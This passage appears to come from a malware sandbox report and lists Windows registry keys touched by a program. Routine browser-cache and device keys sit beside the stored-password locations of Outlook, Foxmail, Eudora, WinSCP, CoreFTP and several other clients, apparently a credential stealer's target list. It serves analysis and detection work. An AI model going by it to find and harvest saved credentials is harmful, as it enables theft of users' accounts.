Settings\5.0\Cache\Extensible Cache\iecompat HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\iecompat\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\ietld\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040520160406\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016040820160409\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\PrivacIE:\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\UserData\CacheOptions HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\CreateUriCacheSize HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\EnablePunycode HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\regasm.exe HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\* HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_REVERSE_SOLIDUS_IN_USERINFO_KB932562 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_ALLOW_REVERSE_SOLIDUS_IN_USERINFO_KB932562 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_USE_IETLDLIST_FOR_DOMAIN_DETERMINATION HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_USE_IETLDLIST_FOR_DOMAIN_DETERMINATION HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA\AccessProviders HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldDllVersionLow HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldDllVersionHigh HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldVersionLow HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IETld\IETldVersionHigh HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\Data HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3512230a-fb0b-11e5-b945-806e6f6e6963}\Generation HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\Data HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122306-fb0b-11e5-b945-806e6f6e6963}\Generation HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\Data HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{35122307-fb0b-11e5-b945-806e6f6e6963}\Generation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6f06001f\475dce40\84\MissingDependencies HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2 HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676 HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\IMAP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\POP3 Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\HTTP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\SMTP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\IMAP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\POP3 Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\HTTP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\SMTP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\IMAP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\POP3 Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\HTTP Password HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\SMTP Password HKEY_CURRENT_USER\Software\Aerofox\FoxmailPreview HKEY_CURRENT_USER\Software\Aerofox\Foxmail\V3.1 HKEY_CURRENT_USER\Software\Qualcomm\Eudora\CommandLine HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions HKEY_CLASSES_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32\Class HKEY_CURRENT_USER\Software\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B} HKEY_CURRENT_USER\Software\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0 HKEY_CURRENT_USER\Software\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\410 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\410 HKEY_CURRENT_USER\Software\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\10 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\10 HKEY_CURRENT_USER\Software\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0 HKEY_CURRENT_USER\Software\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}\1.0\0\win32\(Default) HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites HKEY_CURRENT_USER\Software\Paltalk HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC HKEY_CURRENT_USER\SOFTWARE\Vitalwerks\DUC HKEY_CURRENT_USER\Software\DownloadManager\Passwords HKEY_USERS\S-1-5-20_Classes HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\LocalServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\ServerExecutable HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppID HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalService HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\DllSurrogate HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RunAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ActivateAtStorage HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ROTFlags HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppIDFlags HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LaunchPermission HKEY_LOCAL_MACHINE\Software\Microsoft\OLE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyAuthenticationLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyImpersonationLevel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AuthenticationLevel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RemoteServerName HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\SRPTrustLevel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\PreferredServerBitness HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LoadUserSettings HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\Elevation HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#IDE#CdRomVBOX_CD-ROM_____________________________1.0_____#5&106af171&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\# HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#IDE#CdRomVBOX_CD-ROM_____________________________1.0_____#5&106af171&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#IDE#CdRomVBOX_CD-ROM_____________________________1.0_____#5&106af171&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\# HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\# HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\##?#STORAGE#Volume#{35122303-fb0b-11e5-b945-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LocalService HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ServiceParameters HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\RunAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ActivateAtStorage HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ROTFlags HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\AppIDFlags HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LaunchPermission HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\AuthenticationLevel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\RemoteServerName HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\SRPTrustLevel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\PreferredServerBitness HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LoadUserSettings HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\DeviceDesc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Data HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{eb115ffc-10c8-4964-831d-6dcb02e6f23f} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\#eheadphonewave HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f} 